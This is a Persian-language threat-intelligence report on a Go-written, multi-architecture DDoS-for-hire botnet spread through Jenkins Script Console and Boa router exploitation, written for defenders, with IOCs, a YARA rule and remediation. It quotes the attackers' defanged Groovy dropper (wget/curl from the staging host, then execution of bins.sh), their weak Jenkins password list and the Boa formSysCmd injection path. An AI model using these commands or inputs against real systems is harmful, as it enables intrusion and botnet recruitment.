malware · botnet · ddos · golang · iot · jenkins · honeypot · mirai
یک باتنت DDoS چندسکویی نوشتهشده با Go برای اجاره
آزمایشگاه Kinryū Labs فایل bot.exe را تحلیل کرد؛ نسخهٔ ویندوزی یک باتنت DDoS کامپایلشده با Go که در قالب مجموعهای از دراپرها با ۱۱ باینری و ۱۳ معماری توزیع شده و از طریق یک کارزار چندروزهٔ بهرهبرداری از Jenkins Script Console تحویل داده میشود. شناسایی میزبان استقرار، یک API فعال و احرازهویتشدهٔ DDoS اجارهای، یک کانال فرمان SSH نوشتهشده با Go و یک خانوادهٔ هممیزبان از تبار Mirai را مشخص کرد. ما با اطمینان بالا ارزیابی میکنیم که این یک عملیات تجاری DDoS اجارهای است.
نوشتهٔ Davis Zheng·
TLP:CLEAR. مجاز برای انتشار عمومی. ثبتشده توسط شبکهٔ حسگر هانیپات Kinryū Labs. شاخصهای زیر خنثیسازی (defang) شدهاند.
خلاصهٔ مدیریتی
- 13بیلد معماری، ۱۱ باینری یکتا
- 5روش نامگذاریشدهٔ DDoS، بهعلاوهٔ یک API اجارهای
- 3آیپی مبدأ هماهنگ در یک /22
- 2خانوادهٔ باتنت روی یک میزبان
bot.exe نسخهٔ ویندوزی x86-64 از یک باتنت DDoS کامپایلشده با Go است که در قالب مجموعهای از دراپرهای چندمعماری توزیع میشود. یک اسکریپت پوستهٔ همراه با نام bins.sh سیزده بیلد معماری را دریافت میکند که پس از حذف تکراریها یازده مورد یکتا هستند و x86 در نسخههای ۳۲ و ۶۴ بیتی، چهار پروفایل ARM، ARM64، Android ARM64 و MIPS در دو حالت big-endian و little-endian را در کنار باینری ویندوزی پوشش میدهند. این مجموعه از راه بهرهبرداری از یک سرور Jenkins در معرض اینترنت به شبکهٔ هانیپات رسید.
این بدافزار پنج روش نامگذاریشدهٔ سیلآسا (HTTP، دستدادن TLS، ICMP، TLS مستقیم و روشی حجمی با برچسب VOULT)، یک حملهٔ سیل HTTP که رشتههای User-Agent مرورگرها و هدرهای زبان را میچرخاند تا شبیه ترافیک مشروع بهنظر برسد، و محمولههای تزریق فرمان علیه وبسرور Boa روی دستگاههای مبتنی بر RealTek SDK برای خودانتشاری را در خود دارد. شناسایی میزبان استقرار در 185.226.93[.]242 یک API احرازهویتشدهٔ DDoS اجارهای روی پورت 3333، یک سرویس SSH پیادهسازیشده با Go روی پورت 2222 در نقش کانال فرمان، و یک سرویس FTP ناشناس را که خانوادهٔ دوم باتنتی از تبار Mirai/Gafgyt را مستقر میکند، مشخص کرد.
Kinryū Labs با اطمینان بالا ارزیابی میکند که bot.exe بخشی از یک باتنت DDoS مخرب، خودانتشار و چندمعماری است که بهصورت یک سرویس تجاری اجارهای اداره میشود. سه یافته پشتوانهٔ این ارزیابی است: رشتههای مربوط به روشهای حمله و بهرهبرداری در خود باینری؛ یک API اجارهای فعال روی میزبان استقرار گردانندگان که پارامترهای کار را اعتبارسنجی میکند و احراز هویت میطلبد؛ و تلهمتری هانیپات از یک کارزار پایدار و چندگرهای که این مجموعه را تحویل میدهد.
- bot.exe یک باتنت DDoS چندسکویی نوشتهشده با Go است. پنج رشتهٔ لاگ متمایز مربوط به روشهای سیلآسا، پارامترهای هدف و مدت زمان را حمل میکنند، در کنار سازوکار جعل هویت مرورگر و پشتیبانی از SOCKS5؛ همه در قالب رشتههای مبهمسازینشده و تأییدشده توسط API فعال.
- این عملیات بهصورت یک سرویس تجاری DDoS اجارهای اداره میشود. میزبان استقرار یک API روی پورت 3333 در معرض قرار داده که پارامترهای کار (
user،psw،host،method،time،port) را اعتبارسنجی میکند و اعتبارنامههای نامعتبر را رد میکند. - باتنت از راه تزریق فرمان در دستگاههای IoT خودانتشار میکند. باینری یک محمولهٔ تزریق فرمان علیه
formSysCmdدر Boa، یک مسیر حملهٔ جستجوی فراگیر روی ورود روتر، و توابع صادرشدهٔloginDeviceوloginDeviceCaptchaرا در خود دارد و همان تکخطی دراپر ثبتشده در لاگهای هانیپات را تزریق میکند. - سه آیپی مبدأ متعلق به یک گرداننده هستند. سه نشانی در
185.226.92[.]0/22محمولههای یکسانی را با زمانبندی هماهنگ و یک فهرست اعتبارنامهٔ مشترک تحویل دادهاند، و آیپیهای تحویل و استقرار کلیدهای میزبان SSH یکسانی ارائه میکنند که نشاندهندهٔ یک میزبان واحد یا ایمیجهای همسانسازیشده است.
تحویل: یک کارزار پایدار روی Jenkins Script Console
این مجموعه از راه بهرهبرداری از یک نمونهٔ Jenkins در معرض اینترنت تحویل داده شد. تلهمتری هانیپات یک روش دومرحلهای ثابت را ثبت کرد: یک GET /crumbIssuer/api/json برای دریافت توکن CSRF و سپس یک POST /script حامل محمولهٔ Groovy برای Script Console. محموله در همهٔ تلاشها یکسان بود و در اینجا خنثیسازی شده است:
println new ProcessBuilder('sh','-c',
'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
curl -O hxxp://185.226.93[.]242:1001/bins.sh;
chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text
درخواستها حاوی هدر Authorization: Basic بودند که یک دیکشنری کوتاه از گذرواژههای عددی ضعیف را برای حساب admin میچرخاند (admin:1123، admin:123451، admin:1231231، admin:1111111، admin:12345123)؛ امضای یک فهرست اعتبارنامهٔ خودکار و نه احراز هویت هدفمند.
این کارزار طی چند روز در موجهای مکرر اجرا شد:
- موج ۱نخستین کاوشها: بررسی crumb مربوط به CSRF و سپس اجرای کد از راه دور با Groovy، از آیپی استقرار و یک نشانی دوم در همان بلوک.
- ثبت نمونه
bins.shو هر سیزده گونه در دو حسگر با فاصلهٔ حدود چهارده ساعت بازیابی شدند و در هر دو بایتبهبایت یکسان بودند. - موجهای بعدیبهرهبرداری موازی از هر سه آیپی مبدأ با فاصلهٔ چند دقیقه از یکدیگر، همراه با چرخش User-Agentها.
درخواستهای بهرهبرداری مجموعهٔ بزرگی از User-Agentهای واقعنمای مرورگری را میچرخاندند، در حالی که پویش شناسایی برای یافتن اهداف بعدی Jenkins (یک درخواست /login و سپس رگباری سریع از درخواستهای /script) از مقدار پیشفرض Go-http-client/1.1 استفاده میکرد. User-Agentهای جعلی همراه محمولههای بهرهبرداری میآیند؛ اسکنر از کلاینت بومی Go خود باتنت استفاده میکند. خود میزبان استقرار و C2 نیز در بهرهبرداری مشارکت داشت، بنابراین زیرساخت حمله و میزبانی از هم جدا نشدهاند.
بدافزار: یک کدپایهٔ Go، یازده باینری
نوشتن بات با Go امکان میدهد یک کدپایه برای هر هدفی که گرداننده بخواهد کراسکامپایل شود. دراپر تمام خط محصول را پیمایش میکند و هر بیلد را نخست با wget و سپس بهعنوان جایگزین با curl دریافت میکند، آن را اجراپذیر میسازد، اجرا میکند و حذف میکند. این مجموعه شامل یک فایل .exe ویندوزی است که دراپر لینوکسی همچنان آن را از chmod +x عبور میدهد، و ساختار تولیدشدهٔ اسکریپت به یک خط لولهٔ ساخت و فهرستسازی اشاره دارد. پس از حذف تکراریها، سیزده بیلد به یازده باینری یکتا کاهش مییابد: بیلدهای x86 و i386 یکساناند، و همچنین بیلدهای عمومی ARM و ARMv7. گسترهٔ معماریها، از MIPS و ARM قدیمی تا اندروید، نشاندهندهٔ باتنتی است که روترها، دوربینها و سایر دستگاههای توکار را هدف گرفته است؛ بیلد ویندوزی همان کد را به رایانههای رومیزی و سرورها میبرد.
باینری بستهبندی (pack) نشده است (آنتروپی بخشهای PE بین ۵٫۴ تا ۶٫۳ قرار دارد) و نمادهایش حذف نشدهاند (شناسهٔ بیلد Go و نمادهای زمان اجرا دستنخوردهاند)، بنابراین قابلیتهایش در رشتههای ساده قابل مشاهده است. برچسب زمانی کامپایل صفر شده که برای بیلدهای Go عادی است.
پنج روش سیلآسا در رشتههای لاگ باینری نام برده شدهاند که هرکدام با یک هدف و یک مدت زمان قالببندی شدهاند: یک سیل «HTTP (Optimized)»، یک سیل فرسایشی «Handshake» روی TLS/TCP، یک سیل «PING» مبتنی بر ICMP، یک سیل نشستی «TLS+» مستقیم، و یک روش «VOULT» که حجمی و بهاحتمال زیاد مبتنی بر UDP است. هر دو گزینهٔ لایهٔ کاربرد و لایهٔ شبکه حاضرند.
سیل HTTP طوری ساخته شده که بهجای ترافیک مشروع جا بزند. بیش از ده رشتهٔ User-Agent مرورگری را در میان Chrome، Edge، Opera، Firefox و Safari روی Windows، macOS، iPad و Android میچرخاند؛ پانزده منطقهٔ زبانی Accept-Language؛ و هدرهای اثرانگشتی sec-fetch-* و sec-ch-ua-* را که سرویسهای کاهش اثر حمله بررسی میکنند. یک Referer از مجموعهٔ کوچکی از سایتهای خوشنام تنظیم میکند (google.com، reddit.com، facebook.com، bing.com، twitter.com و fbi.gov). یکی از ورودیهای مجموعهٔ User-Agent عیناً رشتهٔ Hello World است؛ یک جانگهدار توسعهدهنده که امضای شناسایی تمیزی میسازد، چون هیچ کلاینت مشروعی آن را ارسال نمیکند.
انتشار، وبسرور Boa را هدف میگیرد؛ یک دیمن HTTP کوچک توکار که هنوز روی بسیاری از روترها و دوربینهای مبتنی بر RealTek SDK عرضه میشود. باینری یک محمولهٔ تزریق فرمان علیه هندلر formSysCmd در Boa و یک مسیر جستجوی فراگیر علیه رابطهای مدیریتی روتر را در خود دارد، همراه با فیلدهای اعتبارنامهٔ JSON و توابع صادرشدهٔ loginDevice و loginDeviceCaptcha. فرمان تزریقشده همان تکخطی دراپر است، بنابراین یک دستگاه آلوده به نقطهٔ تحویل برای دستگاه بعدی تبدیل میشود.
ماژولهای Go گنجاندهشده همگی بستههای استاندارد golang.org/x هستند و هیچ چارچوب C2 شخص ثالثی لینک نشده است. این ماژولها شامل chacha20poly1305، http2/hpack، dns/dnsmessage و http/httpproxy میشوند که با قابلیتهای قابل مشاهده همخوانی دارند: یک کانال رمزنگاریشدهٔ احرازهویتشده، HTTP/2، DNS خام و پراکسی SOCKS5 (رشتههای socks5، socks connect و socksUsernamePassword حاضرند). پیکربندی C2 در زمان اجرا از hxxp://<C2>/config.dat دریافت میشود؛ تنها نشانی درجشده بهصورت ثابت در باینری، میزبان استقرار است.
زیرساخت فرماندهی و کنترل و استقرار
شناسایی میزبان استقرار سرویسهای زیر را مشخص کرد:
| پورت | سرویس | کاربرد |
|---|---|---|
| 21/tcp | vsftpd 3.0.3، ورود ناشناس فعال | استقرار بدافزار (خانوادهٔ دوم، در ادامه) |
| 22/tcp | OpenSSH 9.2p1 (Debian) | دسترسی گرداننده |
| 1001/tcp | سرور net/http نوشتهشده با Go | استقرار اصلی: ارائهٔ bins.sh و گونهها |
| 2222/tcp | SSH نوشتهشده با Go (SSH-2.0-Go) | کانال فرمان بات |
| 3333/tcp | سرور net/http نوشتهشده با Go | API مربوط به DDoS اجارهای |
دو یافته از ارزیابی «اجارهای بودن» پشتیبانی میکند. آیپی تحویل و میزبان استقرار کلیدهای میزبان SSH یکسانی از نوع ED25519، RSA و ECDSA ارائه میکنند که آنها را روی یک ماشین واحد یا روی ایمیجهایی همسانسازیشده از یک قالب قرار میدهد، و سرویس SSH نوشتهشده با Go روی پورت 2222 کلیدی متمایز از OpenSSH سیستمی روی پورت 22 ارائه میدهد که آن را بهجای یک فوروارد، یک برنامهٔ جداگانه نشان میدهد. API روی پورت 3333 یک درخواست را بهدلیل نبود پارامترها (user، psw، host، method، time/duration، port) رد میکند و برای اعتبارنامههای آزمایشی خطای احراز هویت برمیگرداند، در حالی که سایر مسیرها ۴۰۴ برمیگردانند. این همان رابط حداقلی و احرازهویتشده در هر درخواست است که یک بوتر تجاری دارد و روی زیرساخت فعال اجرا میشود.
خانوادهٔ دومی روی همان میزبان
سرویس FTP ناشناس، خانوادهٔ باتنتی جداگانهای را مستقر میکند که در اینجا بر اساس نام فایلهایش «boatnet» نامیده میشود. دراپر آن (ohshit1.sh) از کلاینت ftpget در BusyBox استفاده میکند، نام هر باینری را پیش از اجرا به WTF تغییر میدهد، و بیلدها را در پسزمینه روی پانزده معماری اجرا میکند، از جمله اهداف توکار غیرمتعارف (ARC، m68k، SH4، SPARC) از تبار Mirai/Gafgyt. باینریها ELF کامپایلشده با C هستند، نمادهایشان حذف شده و بستهبندی شدهاند (آنتروپی ۷٫۶ تا ۷٫۹ بدون امضای UPX که نشاندهندهٔ یک پکر سفارشی است)، بنابراین چیز زیادی از بررسی ایستا بهدست نمیآید. مصنوعات boatnet قدیمیتر از مجموعهٔ bot.exe هستند و کدپایهٔ بیارتباطی دارند، بنابراین یک میزبان دو خانوادهٔ باتنت متمایز را مستقر کرده است.
میزبانی
هر دو آیپی مهاجم در 185.226.92[.]0/22 قرار دارند که از طریق RIPE NCC به نام یک ارائهدهندهٔ VPS مستقر در ترکیه (نام شبکه BIGCORE-US، AS205196 / AS57152) ثبت شده است، با مخاطب سوءاستفاده [email protected]. ما ارائهدهندهٔ میزبانی را برای مقاصد گزارشدهی مشخص میکنیم و هیچ ادعایی دربارهٔ هویت گرداننده نداریم.
شاخصهای نفوذ
زیرساخت مهاجم خنثیسازی شده است. هشهای نمونه و رشتههای شناسایی بهعمد مقادیر واقعی دارند.
شبکه
| شاخص | زمینه |
|---|---|
185.226.93[.]242 | میزبان استقرار + C2؛ همچنین یک اسکنر فعال |
185.226.92[.]110 | اسکنر اصلی / گره تحویل |
185.226.92[.]173 | اسکنر ثانویه |
185.226.92[.]0/22 | تخصیص میزبانی (BIGCORE، AS205196). مسدودسازی معقول در محیط پیرامونی |
185.226.93[.]242:1001 | استقرار HTTP (bins.sh + گونهها) |
185.226.93[.]242:2222 | کانال فرمان SSH نوشتهشده با Go |
185.226.93[.]242:3333 | API مربوط به DDoS اجارهای (/api، مشروط به پارامتر) |
185.226.93[.]242:21 | FTP ناشناس، استقرار boatnet |
hxxp://<C2>/config.dat | الگوی دریافت پیکربندی C2 در زمان اجرا |
/boafrm/formSysCmd، /boafrm/formLogin | مسیرهای اجرای کد از راه دور و جستجوی فراگیر ورود Boa در انتشار خروجی |
کلید میزبان SSH (ED25519) …INAjVN5fIlxTHxT4R3yqTS8… | مشترک میان آیپیهای تحویل و C2؛ شاخص محوری برای پیوت |
فایلها
| فایل | SHA-256 |
|---|---|
bot.exe (Windows x64) | 4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 |
bins.sh (دراپر) | 15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6 |
boatnet.0eem0a9ali (i386) | 6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b |
boatnet.0t25ax67hl (x86-64) | 920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d |
- مقادیر MD5 / SHA-1 / imphash برای bot.exe:
88efcb919000efb700a814fc23e31e3f/6817eae057adf831892995f514fca36c489fdd10/211e227000a1da3333aab2bad5282318 - شناسهٔ بیلد Go:
euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK
هشهای کامل مجموعهٔ دراپر (۱۱ مورد یکتا از ۱۳ بیلد)
| بیلد | SHA-256 | اندازه (بایت) |
|---|---|---|
amd64 | 3261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b70 | 5,919,119 |
x86 / i386 | 575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc398 | 5,787,832 |
arm / armv7l | 9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb10 | 5,898,424 |
arm5 | 365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea582 | 5,898,424 |
arm6 | 34186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f | 5,898,424 |
arm64 | ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b | 5,579,151 |
android_arm64 | 7d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf | 6,169,144 |
mips | 9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f5 | 6,619,351 |
mipsle | 14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde7 | 6,619,351 |
bot.exe | 4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 | 6,020,608 |
مصنوعات میزبان و اعتبارنامه
- دیکشنری جستجوی فراگیر برای
adminدر Jenkins:1123،123451،1231231،1111111،12345123. ohshit1.sh(دراپر boatnet) و یک باینری که پیش از اجرا بهWTFتغییر نام داده میشود.- User-Agentهای متمایز:
Hello World(سیل HTTP بات) وGo-http-client/1.1(خودپویشی بات).
رفتاری
- درخواست
GET /crumbIssuer/api/jsonدر Jenkins و بهدنبال آنPOST /scriptحامل محمولهٔ Groovy باProcessBuilder('sh','-c', …)کهbins.shرا دریافت میکند. - درخواستهای خروجی به یک میزبان زیر مسیر
/config.dat، با پیشزمینهٔ یک خط لاگConnecting to CNC.... - درخواست ورودی
POST /boafrm/formSysCmdباsysCmdselect=5و بدنهای حاویwget … bins.sh.
شناسایی
رشتهها پایدار و مبهمسازینشدهاند، بنابراین ساخت امضا ساده است. قاعدهٔ YARA زیر یک نامزد ساختهشده از رشتههای تأییدشده است؛ پیش از استقرار آن را اعتبارسنجی کنید.
rule go_ddos_bot_multiarch_candidate
{
meta:
description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
author = "Kinryu Labs honeypot CTI"
reference = "4de4621f...e3804" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$cnc = "Connecting to CNC..." ascii
$cfg = "/config.dat" ascii
$atk1 = "HTTP (Optimized) Attack started" ascii
$atk2 = "VOULT attack" ascii
$atk3 = "Handshake Attack started" ascii
$boa = "/boafrm/formSysCmd" ascii
$iot = "loginDeviceCaptcha" ascii
$drop = "bins.sh" ascii
condition:
($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}
شناسایی شبکهای:
- Jenkins: برای بدنههای
POST /scriptکه حاویProcessBuilderهمراه باwget/curlبه یک آیپی خام هستند هشدار دهید، بهویژه اگر پیش از آنGET /crumbIssuer/api/jsonآمده باشد. - انتشار IoT:
content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";. - زیرساخت:
185.226.92[.]0/22را که نشانیهای تحویل و C2 را پوشش میدهد مسدود کنید و برای اتصالات خروجی به پورتهای 1001، 2222 و 3333 در آن محدوده هشدار بگذارید.
اقدامات اصلاحی
- Jenkins را در معرض اینترنت قرار ندهید. آن را پشت احراز هویت و جداسازی شبکهای بگذارید، Script Console را برای کاربران غیرمدیر غیرفعال کنید و یک سرور بیلد قابل دسترس را در حکم خطر آلودگی کامل میزبان بدانید. این همان بردار تحویل بود.
- اعتبارنامههای قوی برای Jenkins الزامی کنید و احراز هویت را محدود به نرخ کنید. این کارزار به یک دیکشنری کوتاه از گذرواژههای عددی ضعیف برای
adminتکیه داشت. - روترها و دستگاههای IoT مبتنی بر RealTek/Boa را جداسازی یا جایگزین کنید و دسترسی خارجی به رابطهای مدیریتی آنها را مسدود کنید. اینها هدف انتشار باتنت هستند.
- تخصیص میزبانی (
185.226.92[.]0/22) را در محیط پیرامونی مسدود کنید و برای مسیر اجرای کد از راه دور در Boa و الگوی دریافتconfig.datهشدار بگذارید. - ترافیک خروجی را فیلتر کنید. میزبانی که به یک آیپی خام روی پورت 1001 برای دریافت فایلهایی با نام معماری وصل میشود، یا به پورتهای 2222 یا 3333 در آن محدوده متصل میشود، رفتاری غیرعادی دارد و در نبود شناسایی روی میزبان قابل تشخیص است.
- زیرساخت را گزارش کنید. API مربوط به DDoS اجارهای و بدافزار مستقرشده روی FTP را میتوان به مخاطب سوءاستفادهٔ ارائهدهندهٔ میزبانی (
[email protected]) گزارش داد.
نگاشت MITRE ATT&CK
| تاکتیک | تکنیک |
|---|---|
| دسترسی اولیه | T1190 Exploit Public-Facing Application (کنسول اسکریپت Jenkins؛ formSysCmd در Boa برای انتشار) |
| دسترسی به اعتبارنامه | T1110.001 Brute Force: Password Guessing (کاربر admin در Jenkins)؛ T1110.004 Credential Stuffing (ورود به دستگاه IoT) |
| اجرا | T1059 Command and Scripting Interpreter (Groovy از راه Script Console؛ دراپر پوستهٔ یونیکس) |
| کشف | T1046 Network Service Scanning (خودپویشی Jenkins/IoT)؛ T1082 System Information Discovery؛ T1057 Process Discovery |
| فرار از دفاع | T1036 Masquerading (چرخش User-Agent مرورگر؛ تغییر نام به WTF در boatnet) |
| فرماندهی و کنترل | T1071.001 Web Protocols (config.dat)؛ T1573 Encrypted Channel (ChaCha20-Poly1305؛ SSH نوشتهشده با Go روی 2222)؛ T1571 Non-Standard Port (1001/2222/3333)؛ T1090.001 Internal Proxy: SOCKS |
| حرکت جانبی / تحویل | T1105 Ingress Tool Transfer (استقرار چندمعماری) |
| اثر | T1498.001 Direct Network Flood (PING، VOULT)؛ T1498.002 Reflection Amplification (فرسایش دستدادن) |
روششناسی و یادداشتها
- دامنه: تحلیل ایستای باینریهای ثبتشده که اجرا نشدند، و شناسایی بیرونی فعال میزبان استقرار (شمارش سرویسها و بنرها، فهرستگیری FTP ناشناس و کاوش بدون احراز هویت روی API پورت 3333). هیچ احراز هویتی دور زده نشد.
- قاعدهٔ YARA یک نامزد ساختهشده از رشتههای تأییدشده است؛ پیش از استقرار آن را اعتبارسنجی کنید. باینریهای boatnet بستهبندی شدهاند و رشتههای اندکی بهدست دادند.
- نمونهها (مجموعهٔ bot.exe، دراپر و مصنوعات boatnet) در صورت درخواست برای سایر پژوهشگران و مدافعان در دسترس هستند. به [email protected] ایمیل بزنید و در یادداشتی کوتاه بنویسید چه کسی هستید و آنها را برای چه میخواهید.